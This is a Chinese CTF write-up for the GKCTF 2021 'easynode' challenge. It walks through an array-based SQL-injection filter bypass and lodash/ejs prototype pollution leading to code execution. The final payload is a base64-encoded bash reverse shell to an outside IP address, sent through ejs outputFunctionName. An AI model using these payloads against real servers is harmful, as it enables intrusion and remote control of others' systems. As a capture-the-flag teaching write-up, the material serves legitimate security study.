[GKCTF 2021]easynode

[GKCTF 2021]easynode

知识点

  • 深入理解 JavaScript Prototype 污染攻击
  • Javascript 原型链污染 分析
  • Express+lodash+ejs: 从原型链污染到RCE

    解题步骤

    看一波源码

    et safeQuery =  async (username,password)=>{
    
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }
    
    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
    
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
    
    }
    return str;
    }
    
    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
    }

    在safeStr这里,对输入的参数,按下标进行过滤,而且用*代替。
    如果传入字符串,确实会被过滤,但是如果输入字符串数组,就可以绕过了。
    但是数组对象没有substr方法,所以还需要一个过滤字符来触发字符拼接,这样就会隐性转换为string了。
    当数组合为字符串并再一次放入waf检测时,由于i值过小,导致'放入waf,所以数组长度要长一点。
    payload:username[]=admin'#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=(&password=asd
    然后登录。

    
    app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = {"${username}":{"${key}":"${data[key]}"}};
    
            extend(board,JSON.parse(addDIV));
        }
        sql = update board SET board = '${JSON.stringify(board)}' where username = '${username}'
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
    });

addDIV这里有原型链污染,来自ejs的extend。(详细看文章)
需要添加一个username为__proto__的用户,从而触发ejs的原型链污染。
在/addAdmin这里,post:username=__proto__&password=asd
然后登录这个用户,在这个用户登录情况下,在/adminDIV路径中,post:
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMSI%3D%7Cbase64%20-d%7Cbash');var __tmp2"}
之后回到/admin就会触发渲染反弹shell,cat /flag即可(不要切换用户,要不然可能会失败)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇